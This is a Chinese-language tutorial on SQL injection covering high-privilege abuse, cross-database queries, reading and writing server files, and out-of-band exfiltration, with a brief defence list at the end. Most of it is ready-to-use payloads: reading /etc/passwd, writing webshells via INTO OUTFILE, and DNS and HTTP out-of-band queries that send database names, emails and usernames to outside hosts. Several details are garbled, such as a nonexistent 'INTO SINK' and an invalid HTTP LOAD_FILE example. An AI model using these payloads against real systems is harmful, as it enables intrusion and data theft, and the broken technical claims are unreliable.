57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术
SQL注入是WEB安全领域中最经典、最具破坏力的攻击手段之一。它不仅是渗透测试中的核心技能,也是防御者需要重点关注的漏洞类型。本文将深入探讨SQL注入中的几个关键方向:高权限利用、跨库操作、文件读写以及带外技术,并结合实际案例分析如何利用这些技术实现攻击,以及如何进行防御。
一、SQL注入基础:从入门到高权限
SQL注入的核心在于攻击者通过构造恶意SQL语句,绕过应用的验证逻辑,直接与数据库交互。根据注入方式的不同,SQL注入可分为以下几种类型:
-
Union注入:利用UNION SELECT语句合并查询结果,适用于返回数据的场景。
-
布尔盲注:通过判断布尔值(True/False)推测数据库内容。
-
时间盲注:通过延迟数据库响应时间(如SLEEP()函数)推测数据。
-
报错注入:利用数据库错误信息直接获取数据。
高权限利用
高权限注入的关键在于利用数据库的高权限账户(如root或sa),执行系统级操作。以下是一些常见的高权限利用场景:
-
读取系统文件:通过LOAD_FILE()函数读取服务器上的敏感文件(如/etc/passwd或C:\Windows\System32\drivers\etc\hosts)。
SELECT LOAD_FILE('/etc/passwd');
-
写入文件:通过INTO OUTFILE或INTO DUMPFILE将数据写入服务器文件系统
SELECT '' INTO OUTFILE '/var/www/html/shell.php';
-
执行系统命令:在支持的数据库(如MySQL)中,通过sys_exec()或xp_cmdshell执行命令。
SELECT sys_exec('whoami');
实战案例:从注入到shell
假设目标应用存在一个未过滤id参数的注入点:
http://example.com/page?id=1
通过布尔盲注确认数据库版本为MySQL 5.7+,并利用高权限账户写入webshell:
http://example.com/page?id=1;SELECT '' INTO OUTFILE '/var/www/html/shell.php'--
访问http://example.com/shell.php?cmd=id即可获取服务器权限。
二、跨库操作:突破数据库边界
跨库操作允许攻击者在不同数据库之间执行查询,这在多数据库架构中尤为重要。以下是一些关键点:
-
跨库查询:
SELECT * FROM other_db.tbl_users;
实战案例:跨库提取敏感数据
假设目标应用使用了多个数据库,攻击者可以通过以下步骤提取敏感数据:
-
列出所有数据库:
http://example.com/page?id=1;SHOW DATABASES--
- 切换到目标数据库并查询敏感表:
http://example.com/page?id=1;USE admin_db; SELECT * FROM users--
三、文件读写:从数据到系统控制
文件读写是SQL注入中最具威胁的功能之一,它允许攻击者直接操作服务器文件系统。
#文件操作:
关于网站路径获取方法:
1、遗留文件
2、报错显示
3、读中间件配置
4、爆破fuzz路径
文件读取
-
MySQL:使用LOAD_FILE()读取文件。
' union select LOAD_FILE('d:\\1.txt'),2,3#
文件写入
-
MySQL:使用INTO OUTFILE或INTO DUMPFILE写入文件。
-
' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#
实战案例:利用文件写入获取shell
-
确认目标应用的web目录路径(如F:\tools\Phpstudy\phpstudy_pro\WWW\php\55)。
-
构造payload写入webshell:
'union SELECT '' INTO OUTFILE 'F:\tools\Phpstudy\phpstudy_pro\WWW\php\55\shell.php'#
四、带外技术:突破网络限制
带外技术(Out-of-Band, OOB)通过外部通道(如DNS或HTTP请求)提取数据,适用于网络受限的场景。
DNS带外
利用DNS请求将数据编码为域名,通过Yakit第三方DNS服务器解析。
-
MySQL:使用LOAD_FILE()结合 INTO SINK。 ' union select load_file(concat('\\\\',(select database()),'.yjjoxijrhw.yutu.eu.org\\\aa')),2,3#
-
查看数据库
' union select load_file(concat('\\\\',(select version()),'.yjjoxijrhw.yutu.eu.org\\aa')),2,3#
查看版本
' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".gnrrqclihn.zaza.eu.org\\xxx.txt")),2,3#
' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,2 ),".gnrrqclihn.zaza.eu.org\\xxx.txt")),2,3#
' union select load_file(concat("\\\\",(select email from users),".gnrrqclihn.zaza.eu.org\xxx.txt")),2,3#
HTTP带外
通过HTTP请求将数据发送到攻击者控制的服务器。
-
MySQL:使用LOAD_FILE()结合INTO SINK。
SELECT LOAD_FILE('http://attacker.com/collect?data='@data);
实战案例:带外提取数据库内容
假设目标应用禁止直接回显数据,但允许外部网络请求:
-
构造payload将数据发送到攻击者服务器:
'union SELECT LOAD_FILE(CONCAT('http://169.254.115.114:8085/', (SELECT username FROM users LIMIT 1)))--
-
在攻击者服务器上捕获DNS请求,解析出用户名。
五、防御策略:从检测到加固
SQL注入的防御需要从多个层面入手,以下是一些关键措施:
-
输入验证:对用户输入进行严格验证,拒绝非法字符。
-
参数化查询:使用预编译语句(如PreparedStatement)避免SQL拼接。
-
最小权限原则:为数据库账户分配最小必要权限,禁止高权限账户直接用于应用。
-
Web应用防火墙(WAF):部署WAF检测和阻断SQL注入攻击。
-
定期审计:对数据库和应用代码进行定期安全审计。
-
-
-
-
-